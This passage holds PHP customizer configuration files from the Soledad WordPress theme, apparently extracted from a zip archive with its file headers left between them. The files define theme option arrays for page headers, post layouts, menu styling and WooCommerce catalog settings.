	'label'    => __( 'Homepage Featured Box 9th Image', 'soledad' ),
	'id'       => 'penci_home_box_img9',
	'type'     => 'soledad-fw-image',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_text_field',
	'label'    => __( 'Homepage Featured Box 9th Text', 'soledad' ),
	'id'       => 'penci_home_box_text9',
	'type'     => 'soledad-fw-text',
);
$options[] = array(
	'sanitize' => 'sanitize_text_field',
	'label'    => __( 'Homepage Featured Box 9th URL', 'soledad' ),
	'id'       => 'penci_home_box_url9',
	'type'     => 'soledad-fw-text',
);

return $options;
PK     0w\$U    O  customizer/config/sections/pencidesign_new_section_helpful_articles_section.phpnu [        <?php
$options = [];
$options[] = array(
	'id'       => 'penci_ha_enabled_post_types',
	'default'  => '',
	'sanitize' => 'penci_sanitize_multiple_checkbox',
	'label'    => __( 'Enable Support in Post Types', 'soledad' ),
	'type'     => 'soledad-fw-select',
	'multiple' => 999,
	'choices'  => call_user_func( function () {
		$exclude    = array(
			'attachment',
			'revision',
			'nav_menu_item',
			'safecss',
			'penci-block',
			'penci_builder',
			'custom-post-template',
			'archive-template',
		);
		$registered = get_post_types( [ 'show_in_nav_menus' => true ], 'objects' );
		$types      = array();


		foreach ( $registered as $post ) {

			if ( in_array( $post->name, $exclude ) ) {

				continue;
			}

			$types[ $post->name ] = $post->label;
		}

		return $types;
	} )
);

$texts = [
    'yes' => __( 'Yes', 'soledad' ),
    'no'  => __( 'No', 'soledad' ),
    'question'  => __( 'Was this article helpful?', 'soledad' ),
    'thank'  => __( 'Thanks for your feedback!', 'soledad' ),
];

foreach ( $texts as $key => $value ) {
    $options[] = array(
    'label'    => __( 'Text: ' . $value, 'soledad' ),
    'id'       => 'penci_ha_' . $key . '_text',
    'type'     => 'soledad-fw-text',
    'default'  => $value,
    'sanitize' => 'penci_sanitize_tex_field'
    );
}

return $options;PK     0w\t  t  A  customizer/config/sections/penci_section_spage_header_section.phpnu [        <?php
$options   = [];
$options[] = array(
	'default'  => '',
	'sanitize' => 'penci_sanitize_checkbox_field',
	'label'    => esc_html__( 'Enable Page Header for Pages', 'soledad' ),
	'type'     => 'soledad-fw-toggle',
	'id'       => 'penci_pheader_show',
);
$options[] = array(
	'sanitize' => 'esc_url_raw',
	'label'    => esc_html__( 'Background Image for Page Header', 'soledad' ),
	'id'       => 'penci_pheader_bgimg',
	'type'     => 'soledad-fw-image',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'penci_sanitize_checkbox_field',
	'label'    => esc_html__( 'Hide Line Below Title', 'soledad' ),
	'type'     => 'soledad-fw-toggle',
	'id'       => 'penci_pheader_hideline',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'penci_sanitize_checkbox_field',
	'label'    => esc_html__( 'Hide Breadcrumbs', 'soledad' ),
	'type'     => 'soledad-fw-toggle',
	'id'       => 'penci_pheader_hidebead',
);
$options[] = array(
	'default'  => 'center',
	'sanitize' => 'sanitize_text_field',
	'label'    => esc_html__( 'Text Align', 'soledad' ),
	'id'       => 'penci_pheader_align',
	'type'     => 'soledad-fw-select',
	'choices'  => array(
		'left'   => esc_html__( 'Left', 'soledad' ),
		'center' => esc_html__( 'Center', 'soledad' ),
		'right'  => esc_html__( 'Right', 'soledad' ),
	)
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'absint',
	'label'    => __( 'By default, container width for page header will follow the container width for header', 'soledad' ),
	'id'       => 'penci_pheader_width',
	'type'     => 'soledad-fw-size',
	'ids'         => array(
		'desktop' => 'penci_pheader_width',
	),
	'choices'     => array(
		'desktop' => array(
			'min'  => 1,
			'max'  => 2000,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
	),
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'absint',
	'label'    => __( 'Padding top', 'soledad' ),
	'id'       => 'penci_pheader_ptop',
	'type'     => 'soledad-fw-size',
	'ids'         => array(
		'desktop' => 'penci_pheader_ptop',
	),
	'choices'     => array(
		'desktop' => array(
			'min'  => 1,
			'max'  => 2000,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
	),
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'absint',
	'label'    => __( 'Padding Bottom', 'soledad' ),
	'id'       => 'penci_pheader_pbottom',
	'type'     => 'soledad-fw-size',
	'ids'         => array(
		'desktop' => 'penci_pheader_pbottom',
	),
	'choices'     => array(
		'desktop' => array(
			'min'  => 1,
			'max'  => 2000,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
	),
);

$options[] = array(
	'sanitize' => 'penci_sanitize_checkbox_field',
	'label'    => esc_html__( 'Turn Off Uppercase for Title', 'soledad' ),
	'type'     => 'soledad-fw-toggle',
	'id'       => 'penci_pheader_turn_offup',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'absint',
	'label'    => __( 'Custom Padding Bottom for Page Title', 'soledad' ),
	'id'       => 'penci_pheader_title_pbottom',
	'type'     => 'soledad-fw-size',
	'ids'         => array(
		'desktop' => 'penci_pheader_title_pbottom',
		'mobile' => 'penci_pheader_title_mbottom',
	),
	'choices'     => array(
		'desktop' => array(
			'min'  => 1,
			'max'  => 2000,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
		'mobile' => array(
			'min'  => 1,
			'max'  => 2000,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
	),
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'absint',
	'label'    => __( 'Custom Margin Bottom for Page Title', 'soledad' ),
	'id'       => 'penci_pheader_title_mbottom',
	'type'     => 'soledad-fw-hidden',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'absint',
	'label'    => __( 'Font Size for Page Title', 'soledad' ),
	'id'       => 'penci_pheader_title_fsize',
	'type'     => 'soledad-fw-size',
	'ids'         => array(
		'desktop' => 'penci_pheader_title_fsize',
	),
	'choices'     => array(
		'desktop' => array(
			'min'  => 1,
			'max'  => 100,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
	),
);
$options[] = array(
	'default'  => '600',
	'sanitize' => 'sanitize_text_field',
	'label'    => esc_html__( 'Font Weight For Title', 'soledad' ),
	'id'       => 'penci_pheader_fwtitle',
	'type'     => 'soledad-fw-select',
	'choices'  => array(
		'normal'  => __('Normal','soledad' ),
		'bold'    => __('Bold','soledad' ),
		'bolder'  => __('Bolder','soledad' ),
		'lighter' => __('Lighter','soledad' ),
		'100'     => __('100','soledad' ),
		'200'     => __('200','soledad' ),
		'300'     => __('300','soledad' ),
		'400'     => __('400','soledad' ),
		'500'     => __('500','soledad' ),
		'600'     => __('600','soledad' ),
		'700'     => __('700','soledad' ),
		'800'     => __('800','soledad' ),
		'900'     => __('900','soledad' ),
	)
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'absint',
	'label'    => __( 'Font Size for Breadcrumb on Page Header', 'soledad' ),
	'id'       => 'penci_pheader_bread_fsize',
	'type'     => 'soledad-fw-size',
	'ids'         => array(
		'desktop' => 'penci_pheader_bread_fsize',
	),
	'choices'     => array(
		'desktop' => array(
			'min'  => 1,
			'max'  => 100,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
	),
);

return $options;
PK     0w\J7+  7+  B  customizer/config/sections/penci_section_other_layouts_section.phpnu [        <?php
$options   = [];
$options[] = array(
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field',
	'label'    => __( 'Hide Icon Post Format', 'soledad' ),
	'id'       => 'penci_grid_icon_format',
	'type'     => 'soledad-fw-toggle',
);
$options[]     =  array(
	'default'     => false,
	'sanitize'    => 'penci_sanitize_checkbox_field',
	'label'       => __( 'Move Categories into the Post Meta', 'soledad' ),
	'description' => __( 'This feature is only supported on category, tag, and archive pages.', 'soledad' ),
	'id'          => 'penci_grid_move_cat_meta',
	'type'        => 'soledad-fw-toggle',
);
$options[] = array(
	'default'     => false,
	'sanitize'    => 'penci_sanitize_checkbox_field',
	'label'       => __( 'Display Post Meta Overlay Featured Image', 'soledad' ),
	'id'          => 'penci_grid_meta_overlay',
	'description'=>__('This option just apply for Grid Posts & Masonry Posts','soledad'),
	'type'        => 'soledad-fw-toggle',
);
$options[] = array(
	'default'     => false,
	'sanitize'    => 'penci_sanitize_checkbox_field',
	'label'       => __( 'Disable Autoplay for Slider on Posts Format Gallery', 'soledad' ),
	'id'          => 'penci_grid_slider_auto',
	'type'        => 'soledad-fw-toggle',
);
$options[] = array(
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field',
	'label'    => __( 'Enable Uppercase on Post Categories', 'soledad' ),
	'id'       => 'penci_grid_uppercase_cat',
	'type'     => 'soledad-fw-toggle',
);
$options[] = array(
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field',
	'label'    => __( 'Turn Off Uppercase on Post Title', 'soledad' ),
	'id'       => 'penci_grid_off_title_uppercase',
	'type'     => 'soledad-fw-toggle',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'penci_sanitize_checkbox_field',
	'label'    => __( 'Post Title HTML Heading Tag', 'soledad' ),
	'id'       => 'penci_grid_title_tag',
	'type'     => 'soledad-fw-select',
	'choices'  => array(
		''   => esc_html__( 'Default', 'soledad' ),
		'h1' => esc_html__( 'H1', 'soledad' ),
		'h2' => esc_html__( 'H2', 'soledad' ),
		'h3' => esc_html__( 'H3', 'soledad' ),
		'h4' => esc_html__( 'H4', 'soledad' ),
		'h5' => esc_html__( 'H5', 'soledad' ),
		'h6' => esc_html__( 'H6', 'soledad' ),
	)
);
$options[] = array(
	'default'     => false,
	'sanitize'    => 'penci_sanitize_checkbox_field',
	'label'       => __( 'Enable Click on Posts Thumbnail to Play Video', 'soledad' ),
	'description'=>__('This option only apply for video posts format - supports only for Youtube & Vimeo','soledad'),
	'id'          => 'penci_grid_lightbox_video',
	'type'        => 'soledad-fw-toggle',
);
$options[] = array(
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field',
	'label'    => __( 'Remove Letter Spacing on Post Titles', 'soledad' ),
	'id'       => 'penci_grid_off_letter_spacing',
	'type'     => 'soledad-fw-toggle',
);
$options[] = array(
	'default'     => false,
	'sanitize'    => 'penci_sanitize_checkbox_field',
	'label'       => __( 'Do Not Crop Images on List Layouts', 'soledad' ),
	'id'          => 'penci_grid_nocrop_list',
	'description'=>__('This option does not apply for gallery posts format','soledad'),
	'type'        => 'soledad-fw-toggle',
);
$options[] = array(
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field',
	'label'    => __( 'Hide Share Box', 'soledad' ),
	'id'       => 'penci_grid_share_box',
	'type'     => 'soledad-fw-toggle',
);
$options[] = array(
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field',
	'label'    => __( 'Remove Borders Left & Right on Share Box', 'soledad' ),
	'id'       => 'penci_grid_share_rmbd',
	'type'     => 'soledad-fw-toggle',
);
$options[] = array(
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field',
	'label'    => __( 'Show Post Sub Title', 'soledad' ),
	'id'       => 'penci_grid_show_sub_title',
	'type'     => 'soledad-fw-toggle',
);
$options[] = array(
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field',
	'label'    => __( 'Hide Category', 'soledad' ),
	'id'       => 'penci_grid_cat',
	'type'     => 'soledad-fw-toggle',
);
$options[] = array(
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field',
	'label'    => __( 'Hide Post Author', 'soledad' ),
	'id'       => 'penci_grid_author',
	'type'     => 'soledad-fw-toggle',
);
$options[] = array(
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field',
	'label'    => __( 'Hide Post Date', 'soledad' ),
	'id'       => 'penci_grid_date',
	'type'     => 'soledad-fw-toggle',
);
$options[] = array(
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field',
	'label'    => __( 'Show Views Count', 'soledad' ),
	'id'       => 'penci_grid_countviews',
	'type'     => 'soledad-fw-toggle',
);
$options[] = array(
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field',
	'label'    => __( 'Hide Comment Count on Mixed & Overlay Posts', 'soledad' ),
	'id'       => 'penci_grid_comment',
	'type'     => 'soledad-fw-toggle',
);
$options[] = array(
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field',
	'label'    => __( 'Show Comment Count on Grid, Masonry, List, Boxed, Photography Posts', 'soledad' ),
	'id'       => 'penci_grid_comment_other',
	'type'     => 'soledad-fw-toggle',
);
$options[] = array(
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field',
	'label'    => __( 'Hide Reading Time', 'soledad' ),
	'id'       => 'penci_grid_readingtime',
	'type'     => 'soledad-fw-toggle',
);
$options[] = array(
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field',
	'label'    => __( 'Remove Line Above Post Excerpt', 'soledad' ),
	'id'       => 'penci_grid_remove_line',
	'type'     => 'soledad-fw-toggle',
);
$options[] = array(
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field',
	'label'    => __( 'Remove Post Excerpt', 'soledad' ),
	'id'       => 'penci_grid_remove_excerpt',
	'type'     => 'soledad-fw-toggle',
);
$options[] = array(
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field',
	'label'    => __( 'Add "Read more" button link', 'soledad' ),
	'id'       => 'penci_grid_add_readmore',
	'type'     => 'soledad-fw-toggle',
);
$options[] = array(
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field',
	'label'    => __( 'Remove arrow on "Read more"', 'soledad' ),
	'id'       => 'penci_grid_remove_arrow',
	'type'     => 'soledad-fw-toggle',
);
$options[] = array(
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field',
	'label'    => __( 'Make "Read more" is A Button', 'soledad' ),
	'id'       => 'penci_grid_readmore_button',
	'type'     => 'soledad-fw-toggle',
);
$options[] = array(
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field',
	'label'    => __( 'Remove Border Bottom on List Posts', 'soledad' ),
	'id'       => 'penci_grid_rmbd_bottom',
	'type'     => 'soledad-fw-toggle',
);
$options[] = array(
	'default'     => '',
	'sanitize'    => 'penci_sanitize_choices_field',
	'label'       => __( 'Header Alignment', 'soledad' ),
	'description' => __( 'This option does not apply for Overlay, Photography, Boxed 2 Styles', 'soledad' ),
	'id'          => 'penci_grihead_align',
	'type'        => 'soledad-fw-select',
	'choices'     => array(
		''       => esc_html__( 'Default', 'soledad' ),
		'left'   => esc_html__( 'Left', 'soledad' ),
		'center' => esc_html__( 'Center', 'soledad' ),
		'right'  => esc_html__( 'Right', 'soledad' ),
	)
);
$options[] = array(
	'default'     => '',
	'sanitize'    => 'penci_sanitize_choices_field',
	'label'       => __( 'Image Alignment for List Layout', 'soledad' ),
	'id'          => 'penci_imglist_align',
	'type'        => 'soledad-fw-select',
	'choices'     => array(
		''       => esc_html__( 'Left', 'soledad' ),
		'right'  => esc_html__( 'Right', 'soledad' ),
	)
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'penci_sanitize_choices_field',
	'label'    => __( 'Post Excerpt Alignment', 'soledad' ),
	'id'       => 'penci_griexc_align',
	'type'     => 'soledad-fw-select',
	'choices'  => array(
		''        => esc_html__( 'Default', 'soledad' ),
		'left'    => esc_html__( 'Left', 'soledad' ),
		'center'  => esc_html__( 'Center', 'soledad' ),
		'right'   => esc_html__( 'Right', 'soledad' ),
		'justify' => esc_html__( 'Justify', 'soledad' ),
	)
);
$options[] = array(
	'default'  => 'left',
	'sanitize' => 'penci_sanitize_choices_field',
	'label'    => __( 'Align "Read more" Button', 'soledad' ),
	'id'       => 'penci_grid_readmore_align',
	'type'     => 'soledad-fw-select',
	'choices'  => array(
		'left'   => esc_html__( 'Left', 'soledad' ),
		'center' => esc_html__( 'Center', 'soledad' ),
		'right'  => esc_html__( 'Right', 'soledad' )
	)
);
$options[] = array(
	'default'     => '',
	'sanitize'    => 'penci_sanitize_choices_field',
	'label'       => __( 'Share Box Alignment', 'soledad' ),
	'description' => __( 'This option does apply for some Post Styles, not all', 'soledad' ),
	'id'          => 'penci_grishare_align',
	'type'        => 'soledad-fw-select',
	'choices'     => array(
		''       => esc_html__( 'Default', 'soledad' ),
		'left'   => esc_html__( 'Left', 'soledad' ),
		'center' => esc_html__( 'Center', 'soledad' ),
		'right'  => esc_html__( 'Right', 'soledad' ),
	)
);
$options[] = array(
	'default'  => '30',
	'sanitize' => 'absint',
	'label'    => __( 'Custom Excerpt Length', 'soledad' ),
	'id'       => 'penci_post_excerpt_length',
	'type'     => 'soledad-fw-size',
	'ids'      => array(
		'desktop' => 'penci_post_excerpt_length',
	),
	'choices'  => array(
		'desktop' => array(
			'min'     => 1,
			'max'     => 2000,
			'step'    => 1,
			'edit'    => true,
			'unit'    => '',
			'default' => '30',
		),
	),
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'absint',
	'label'    => __( 'Maxium Excerpt Lines', 'soledad' ),
	'id'       => 'penci_post_excerpt_line',
	'type'     => 'soledad-fw-size',
	'ids'      => array(
		'desktop' => 'penci_post_excerpt_line',
	),
	'choices'  => array(
		'desktop' => array(
			'min'     => 1,
			'max'     => 2000,
			'step'    => 1,
			'edit'    => true,
			'unit'    => '',
			'default' => '',
		),
	),
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'absint',
	'label'    => __( 'Custom Image Width on List Posts', 'soledad' ),
	'id'       => 'penci_img_listwidth',
	'type'     => 'soledad-fw-size',
	'ids'      => array(
		'desktop' => 'penci_img_listwidth',
	),
	'choices'  => array(
		'desktop' => array(
			'min'  => 1,
			'max'  => 2000,
			'step' => 1,
			'edit' => true,
			'unit' => '%',
		),
	),
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'absint',
	'label'    => __( 'Custom Image Width on Small List Posts', 'soledad' ),
	'id'       => 'penci_img_slistwidth',
	'type'     => 'soledad-fw-size',
	'ids'      => array(
		'desktop' => 'penci_img_slistwidth',
	),
	'choices'  => array(
		'desktop' => array(
			'min'  => 1,
			'max'  => 2000,
			'step' => 1,
			'edit' => true,
			'unit' => '%',
		),
	),
);

return $options;
PK     0w\|"  "  K  customizer/config/sections/pencidesign_logo_header_primary_menu_section.phpnu [        <?php
$options   = [];
$options[] = array(
	'label'    => '',
	'id'       => 'penci_mainmenu_height_mobile',
	'type'     => 'soledad-fw-hidden',
	'sanitize' => 'absint',
);
$options[] = array(
	'label'    => __( 'Custom Main Bar Height', 'soledad' ),
	'id'       => 'penci_mainmenu_height',
	'type'     => 'soledad-fw-size',
	'sanitize' => 'absint',
	'ids'      => array(
		'desktop' => 'penci_mainmenu_height',
		'mobile'  => 'penci_mainmenu_height_mobile',
	),
	'choices'  => array(
		'desktop' => array(
			'min'  => 30,
			'max'  => 300,
			'step' => 1,
			'edit' => true,

			'unit' => 'px',
		),
		'mobile'  => array(
			'min'  => 30,
			'max'  => 300,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
	),
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'absint',
	'label'    => __( 'Custom Sticky Main Bar Height When Scroll Down ( Min 30px )', 'soledad' ),
	'id'       => 'penci_mainmenu_height_sticky',
	'type'     => 'soledad-fw-size',
	'ids'      => array(
		'desktop' => 'penci_mainmenu_height_sticky',
	),
	'choices'  => array(
		'desktop' => array(
			'min'  => 1,
			'max'  => 100,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
	),
);
$options[] = array(
	'default'  => 'menu-style-1',
	'sanitize' => 'penci_sanitize_choices_field',
	'label'    => __( 'Sub Menu Style', 'soledad' ),
	'id'       => 'penci_header_menu_style',
	'type'     => 'soledad-fw-select',
	'choices'  => array(
		'menu-style-1' => __( 'Style 1', 'soledad' ),
		'menu-style-2' => __( 'Style 2', 'soledad' ),
		'menu-style-3' => __( 'Style 3', 'soledad' ),
	)
);
$options[] = array(
	'default'     => '"Raleway", "100:200:300:regular:500:600:700:800:900", sans-serif',
	'sanitize'    => 'penci_sanitize_choices_field',
	'label'       => __( 'Custom Font For Primary Menu Items', 'soledad' ),
	'id'          => 'penci_font_for_menu',
	'description' => __( 'Default font is "Raleway"', 'soledad' ),
	'type'        => 'soledad-fw-select',
	'choices'     => penci_all_fonts()
);
$options[] = array(
	'default'     => '"Raleway", "100:200:300:regular:500:600:700:800:900", sans-serif',
	'sanitize'    => 'penci_sanitize_choices_field',
	'label'       => __( 'Custom Font For Primary Menu Items on Mobile', 'soledad' ),
	'id'          => 'penci_font_for_menu_mobile',
	'description' => __( 'Default font is "Raleway"', 'soledad' ),
	'type'        => 'soledad-fw-select',
	'choices'     => penci_all_fonts()
);
$options[] = array(
	'default'  => 'normal',
	'sanitize' => 'penci_sanitize_choices_field',
	'label'    => __( 'Font Weight For Primary Menu Items', 'soledad' ),
	'id'       => 'penci_font_weight_menu',
	'type'     => 'soledad-fw-select',
	'choices'  => array(
		'normal'  => __( 'Normal', 'soledad' ),
		'bold'    => __( 'Bold', 'soledad' ),
		'bolder'  => __( 'Bolder', 'soledad' ),
		'lighter' => __( 'Lighter', 'soledad' ),
		'100'     => __( '100', 'soledad' ),
		'200'     => __( '200', 'soledad' ),
		'300'     => __( '300', 'soledad' ),
		'400'     => __( '400', 'soledad' ),
		'500'     => __( '500', 'soledad' ),
		'600'     => __( '600', 'soledad' ),
		'700'     => __( '700', 'soledad' ),
		'800'     => __( '800', 'soledad' ),
		'900'     => __( '900', 'soledad' ),
	)
);
$options[] = array(
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field',
	'label'    => __( 'Turn Off Uppercase on Menu items', 'soledad' ),
	'id'       => 'penci_topbar_menu_uppercase',
	'type'     => 'soledad-fw-toggle',
);
$options[] = array(
	'default'  => '12',
	'sanitize' => 'absint',
	'label'    => __( 'Font Size for Menu Items Level 1', 'soledad' ),
	'id'       => 'penci_font_size_lv1',
	'type'     => 'soledad-fw-size',
	'ids'      => array(
		'desktop' => 'penci_font_size_lv1',
	),
	'choices'  => array(
		'desktop' => array(
			'min'     => 1,
			'max'     => 100,
			'step'    => 1,
			'edit'    => true,
			'unit'    => 'px',
			'default' => '12',
		),
	),
);
$options[] = array(
	'default'  => '12',
	'sanitize' => 'absint',
	'label'    => __( 'Font Size for Dropdown Menu Items', 'soledad' ),
	'id'       => 'penci_font_size_drop',
	'type'     => 'soledad-fw-size',
	'ids'      => array(
		'desktop' => 'penci_font_size_drop',
	),
	'choices'  => array(
		'desktop' => array(
			'min'     => 1,
			'max'     => 100,
			'step'    => 1,
			'edit'    => true,
			'unit'    => 'px',
			'default' => '12',
		),
	),
);
$options[] = array(
	'default'  => 'slide_down',
	'sanitize' => 'penci_sanitize_choices_field',
	'label'    => __( 'Dropdown Menu Animation Style', 'soledad' ),
	'id'       => 'penci_header_menu_ani_style',
	'type'     => 'soledad-fw-select',
	'choices'  => [
		'slide_down'   => esc_html__( 'Slide Down', 'soledad' ),
		'fadein_up'    => esc_html__( 'Fade In Up', 'soledad' ),
		'fadein_down'  => esc_html__( 'Fade In Down', 'soledad' ),
		'fadein_left'  => esc_html__( 'Fade In Left', 'soledad' ),
		'fadein_right' => esc_html__( 'Fade In Right', 'soledad' ),
		'fadein_none'  => esc_html__( 'Fade In', 'soledad' ),
	],
);
$options[] = array(
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field',
	'label'    => __( 'Enable Padding on Menu Item Level 1', 'soledad' ),
	'id'       => 'penci_header_enable_padding',
	'type'     => 'soledad-fw-toggle',
);
$options[] = array(
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field',
	'label'    => __( 'Hide Line When Hover on Menu Items Level 1', 'soledad' ),
	'id'       => 'penci_header_remove_line_hover',
	'type'     => 'soledad-fw-toggle',
);
$options[] = array(
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field',
	'label'    => __( 'Disable Sticky Main Bar When Scroll Down', 'soledad' ),
	'id'       => 'penci_disable_sticky_header',
	'type'     => 'soledad-fw-toggle',
);
$options[] = array(
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field',
	'label'    => __( 'Enable Social Icons on Main Bar', 'soledad' ),
	'id'       => 'penci_header_social_nav',
	'type'     => 'soledad-fw-toggle',
);
$options[] = array(
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field',
	'label'    => __( 'Hide Social Icons on Main Bar for Mobile', 'soledad' ),
	'id'       => 'penci_header_hidesocial_nav',
	'type'     => 'soledad-fw-toggle',
);
$options[] = array(
	'default'  => '14',
	'sanitize' => 'absint',
	'label'    => __( 'Font Size for Search, Shopping Cart Icons', 'soledad' ),
	'id'       => 'size_header_search_icon_check',
	'type'     => 'soledad-fw-size',
	'ids'      => array(
		'desktop' => 'size_header_search_icon_check',
	),
	'choices'  => array(
		'desktop' => array(
			'min'     => 1,
			'max'     => 100,
			'step'    => 1,
			'edit'    => true,
			'unit'    => 'px',
			'default' => '14',
		),
	),
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'absint',
	'label'    => __( 'Font Size for Search Input Text', 'soledad' ),
	'id'       => 'size_header_search_input',
	'type'     => 'soledad-fw-size',
	'ids'      => array(
		'desktop' => 'size_header_search_icon_check',
	),
	'choices'  => array(
		'desktop' => array(
			'min'  => 1,
			'max'  => 100,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
	),
);
$options[] = array(
	'default'     => false,
	'sanitize'    => 'penci_sanitize_checkbox_field',
	'label'       => __( 'Display Logo on Main Bar on Mobile Devices', 'soledad' ),
	'id'          => 'penci_header_logo_mobile',
	'type'        => 'soledad-fw-toggle',
	'description' => __( 'This option does not apply for Header Style 6 & Style 9', 'soledad' ),
);
$options[] = array(
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field',
	'label'    => __( 'Move Logo on Main Bar on Mobile to Center', 'soledad' ),
	'id'       => 'penci_header_logo_mobile_center',
	'type'     => 'soledad-fw-toggle',
);
$options[] = array(
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field',
	'label'    => __( 'Disable Header Search', 'soledad' ),
	'id'       => 'penci_topbar_search_check',
	'type'     => 'soledad-fw-toggle',
);
$options[] = array(
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field',
	'label'    => __( 'Show Background Overlay on Sub-Menu Item Hover', 'soledad' ),
	'id'       => 'penci_header_show_submenu_overlay',
	'type'     => 'soledad-fw-toggle',
);
$options[] = array(
	'id'       => 'penci_topbar_search_style',
	'default'  => 'default',
	'sanitize' => 'penci_sanitize_choices_field',
	'label'    => __( 'Header Search Style', 'soledad' ),
	'type'     => 'soledad-fw-select',
	'choices'  => array(
		'default' => esc_attr__( 'Default', 'soledad' ),
		'showup'  => esc_attr__( 'Slide Up', 'soledad' ),
		'overlay' => esc_attr__( 'Overlay', 'soledad' ),
		'popup'   => esc_attr__( 'Popup Form', 'soledad' ),
	)
);

return $options;
PK     0w\̒b.  b.  B  customizer/config/sections/woocommerce_product_catalog_section.phpnu [        <?php
$options   = [];
$options[] = array(
	'id'       => 'penci_woo_post_per_page',
	'default'  => '24',
	'sanitize' => 'penci_sanitize_number_field',
	'label'    => __( 'Total Products Display Per Page', 'soledad' ),
	'type'     => 'soledad-fw-size',
	'ids'      => array(
		'desktop' => 'penci_woo_post_per_page',
	),
	'choices'  => array(
		'desktop' => array(
			'min'     => 1,
			'max'     => 2000,
			'step'    => 1,
			'edit'    => true,
			'unit'    => '',
			'default' => '24',
		),
	),
);
$options[] = array(
	'id'       => 'penci_catalog_heading_1',
	'sanitize' => 'sanitize_text_field',
	'label'    => esc_html__( 'Catalog Tools Settings', 'soledad' ),
	'type'     => 'soledad-fw-header',
);
$options[] = array(
	'default'  => '9,24,36',
	'sanitize' => 'sanitize_text_field',
	'label'    => __( 'Products Per Page Variations', 'soledad' ),
	'id'       => 'penci_woo_post_per_page_variations',
	'type'     => 'soledad-fw-text',
);
$options[] = array(
	'id'       => 'penci_woo_per_row_columns_selector',
	'default'  => true,
	'sanitize' => 'penci_sanitize_choices_field',
	'label'    => __( 'Show Columns Selector on Shop page', 'soledad' ),
	'type'     => 'soledad-fw-toggle',
);
$options[] = array(
	'default'     => 'list-grid',
	'sanitize'    => 'penci_sanitize_choices_field',
	'label'       => __( 'Shop products view', 'soledad' ),
	'description' => __( 'You can set different view mode for the shop page', 'soledad' ),
	'id'          => 'penci_shop_product_view',
	'type'        => 'soledad-fw-select',
	'choices'     => array(
		'grid'      => __('Grid','soledad' ),
		'list'      => __('List','soledad' ),
		'grid-list' => __('Grid/List','soledad' ),
		'list-grid' => __('List/Grid','soledad' ),
	)
);
$options[] = array(
	'default'     => true,
	'sanitize'    => 'penci_sanitize_checkbox_field',
	'label'       => __( 'AJAX shop', 'soledad' ),
	'description' => __( 'Enable AJAX functionality for filter widgets, categories navigation, and pagination on the shop page.', 'soledad' ),
	'id'          => 'penci_woocommerce_ajax_shop',
	'type'        => 'soledad-fw-toggle',
);
$options[] = array(
	'default'     => true,
	'sanitize'    => 'penci_sanitize_checkbox_field',
	'label'       => __( 'Scroll to top after AJAX', 'soledad' ),
	'description' => __( 'Disable - Enable scroll to top after AJAX.', 'soledad' ),
	'id'          => 'penci_woocommerce_ajax_shop_auto_top',
	'type'        => 'soledad-fw-toggle',
);
$options[] = array(
	'id'       => 'penci_calalog_heading_1',
	'sanitize' => 'sanitize_text_field',
	'label'    => esc_html__( 'Product Item Settings', 'soledad' ),
	'type'     => 'soledad-fw-header',
);
$options[] = array(
	'default'     => 'style-1',
	'sanitize'    => 'penci_sanitize_choices_field',
	'label'       => __( 'Product Category Style', 'soledad' ),
	'description' => __( 'Select the style of the category showing on archive/categories/tags/search', 'soledad' ),
	'id'          => 'penci_woocommerce_product_cat_style',
	'type'        => 'soledad-fw-select',
